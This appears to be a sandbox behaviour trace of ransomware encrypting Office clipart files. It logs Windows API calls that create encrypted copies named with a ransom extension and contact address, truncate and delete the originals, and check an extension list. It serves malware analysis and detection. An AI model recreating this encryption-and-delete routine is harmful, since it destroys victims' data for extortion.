	[0170.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0170.938] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.938] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0170.940] GetLastError () returned 0x0
	[0170.940] ReadFile (in: hFile=0x364, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x3014, lpOverlapped=0x0) returned 1
	[0170.949] WriteFile (in: hFile=0x350, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x3020, lpOverlapped=0x0) returned 1
	[0170.950] ReadFile (in: hFile=0x364, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.950] WriteFile (in: hFile=0x350, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.950] SetEndOfFile (hFile=0x350) returned 1
	[0170.951] CloseHandle (hObject=0x350) returned 1
	[0170.951] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.951] SetEndOfFile (hFile=0x364) returned 1
	[0170.955] CloseHandle (hObject=0x364) returned 1
	[0170.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0170.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf")) returned 1
	[0170.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0170.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0170.956] lstrlenW (lpString=".doc") returned 4
	[0170.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.956] lstrlenW (lpString=".docx") returned 5
	[0170.956] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0170.956] lstrlenW (lpString=".pdf") returned 4
	[0170.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.957] lstrlenW (lpString=".xls") returned 4
	[0170.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.957] lstrlenW (lpString=".xlsx") returned 5
	[0170.957] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0170.957] lstrlenW (lpString=".ppt") returned 4
	[0170.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0170.957] lstrlenW (lpString=".zip") returned 4
	[0170.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.957] lstrlenW (lpString=".rar") returned 4
	[0170.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.957] lstrlenW (lpString=".bz2") returned 4
	[0170.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.957] lstrlenW (lpString=".7z") returned 3
	[0170.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0170.957] lstrlenW (lpString=".dbf") returned 4
	[0170.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0170.958] lstrlenW (lpString=".1cd") returned 4
	[0170.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF") returned 68
	[0170.958] lstrlenW (lpString=".jpg") returned 4
	[0170.958] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.958] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=2460) returned 1
	[0170.958] CloseHandle (hObject=0x364) returned 1
	[0170.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 0x220
	[0170.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0170.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0170.960] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.960] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0170.961] GetLastError () returned 0x0
	[0170.961] ReadFile (in: hFile=0x364, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x99c, lpOverlapped=0x0) returned 1
	[0171.243] WriteFile (in: hFile=0x350, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x9a0, lpOverlapped=0x0) returned 1
	[0171.245] ReadFile (in: hFile=0x364, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.245] WriteFile (in: hFile=0x350, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.245] SetEndOfFile (hFile=0x350) returned 1
	[0171.256] CloseHandle (hObject=0x350) returned 1
	[0171.256] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.256] SetEndOfFile (hFile=0x364) returned 1
	[0171.259] CloseHandle (hObject=0x364) returned 1
	[0171.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 1
	[0171.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0171.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0171.263] lstrlenW (lpString=".doc") returned 4
	[0171.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.263] lstrlenW (lpString=".docx") returned 5
	[0171.263] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0171.263] lstrlenW (lpString=".pdf") returned 4
	[0171.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.263] lstrlenW (lpString=".xls") returned 4
	[0171.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.264] lstrlenW (lpString=".xlsx") returned 5
	[0171.264] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0171.264] lstrlenW (lpString=".ppt") returned 4
	[0171.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0171.264] lstrlenW (lpString=".zip") returned 4
	[0171.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.264] lstrlenW (lpString=".rar") returned 4
	[0171.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.264] lstrlenW (lpString=".bz2") returned 4
	[0171.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.264] lstrlenW (lpString=".7z") returned 3
	[0171.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0171.264] lstrlenW (lpString=".dbf") returned 4
	[0171.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0171.264] lstrlenW (lpString=".1cd") returned 4
	[0171.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF") returned 68
	[0171.264] lstrlenW (lpString=".jpg") returned 4
	[0171.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.265] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=4244) returned 1
	[0171.265] CloseHandle (hObject=0x364) returned 1
	[0171.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 0x220
	[0171.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0171.267] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.267] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0171.268] GetLastError () returned 0x0
	[0171.268] ReadFile (in: hFile=0x364, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x1094, lpOverlapped=0x0) returned 1
	[0171.270] WriteFile (in: hFile=0x350, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x10a0, lpOverlapped=0x0) returned 1
	[0171.271] ReadFile (in: hFile=0x364, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.271] WriteFile (in: hFile=0x350, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.271] SetEndOfFile (hFile=0x350) returned 1
	[0171.272] CloseHandle (hObject=0x350) returned 1
	[0171.272] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.272] SetEndOfFile (hFile=0x364) returned 1
	[0171.279] CloseHandle (hObject=0x364) returned 1
	[0171.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.279] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 1
	[0171.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0171.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0171.281] lstrlenW (lpString=".doc") returned 4
	[0171.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.281] lstrlenW (lpString=".docx") returned 5
	[0171.281] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0171.281] lstrlenW (lpString=".pdf") returned 4
	[0171.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.281] lstrlenW (lpString=".xls") returned 4
	[0171.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.281] lstrlenW (lpString=".xlsx") returned 5
	[0171.281] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0171.281] lstrlenW (lpString=".ppt") returned 4
	[0171.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0171.281] lstrlenW (lpString=".zip") returned 4
	[0171.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.281] lstrlenW (lpString=".rar") returned 4
	[0171.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.281] lstrlenW (lpString=".bz2") returned 4
	[0171.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.281] lstrlenW (lpString=".7z") returned 3
	[0171.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0171.282] lstrlenW (lpString=".dbf") returned 4
	[0171.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0171.282] lstrlenW (lpString=".1cd") returned 4
	[0171.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68
	[0171.282] lstrlenW (lpString=".jpg") returned 4
	[0171.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.283] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=5076) returned 1
	[0171.283] CloseHandle (hObject=0x364) returned 1
	[0171.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 0x220
	[0171.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0171.284] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.284] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0171.285] GetLastError () returned 0x0
	[0171.285] ReadFile (in: hFile=0x364, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x13d4, lpOverlapped=0x0) returned 1
	[0171.327] WriteFile (in: hFile=0x350, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x13e0, lpOverlapped=0x0) returned 1
	[0171.328] ReadFile (in: hFile=0x364, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.328] WriteFile (in: hFile=0x350, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.328] SetEndOfFile (hFile=0x350) returned 1
	[0171.328] CloseHandle (hObject=0x350) returned 1
	[0171.328] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.328] SetEndOfFile (hFile=0x364) returned 1
	[0171.331] CloseHandle (hObject=0x364) returned 1
	[0171.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 1
	[0171.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0171.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0171.332] lstrlenW (lpString=".doc") returned 4
	[0171.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.332] lstrlenW (lpString=".docx") returned 5
	[0171.332] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0171.332] lstrlenW (lpString=".pdf") returned 4
	[0171.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.332] lstrlenW (lpString=".xls") returned 4
	[0171.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.332] lstrlenW (lpString=".xlsx") returned 5
	[0171.332] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0171.332] lstrlenW (lpString=".ppt") returned 4
	[0171.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0171.332] lstrlenW (lpString=".zip") returned 4
	[0171.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.332] lstrlenW (lpString=".rar") returned 4
	[0171.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.333] lstrlenW (lpString=".bz2") returned 4
	[0171.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.333] lstrlenW (lpString=".7z") returned 3
	[0171.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0171.333] lstrlenW (lpString=".dbf") returned 4
	[0171.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0171.333] lstrlenW (lpString=".1cd") returned 4
	[0171.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0171.333] lstrlenW (lpString=".jpg") returned 4
	[0171.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.792] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=30336) returned 1
	[0171.792] CloseHandle (hObject=0x568) returned 1
	[0171.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf")) returned 0x220
	[0171.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0171.946] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.946] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478
	[0172.110] GetLastError () returned 0x0
	[0172.110] ReadFile (in: hFile=0x564, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x7680, lpOverlapped=0x0) returned 1
	[0172.121] WriteFile (in: hFile=0x478, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x7690, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x7690, lpOverlapped=0x0) returned 1
	[0172.123] ReadFile (in: hFile=0x564, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.123] WriteFile (in: hFile=0x478, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.123] SetEndOfFile (hFile=0x478) returned 1
	[0172.123] CloseHandle (hObject=0x478) returned 1
	[0172.123] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.123] SetEndOfFile (hFile=0x564) returned 1
	[0172.126] CloseHandle (hObject=0x564) returned 1
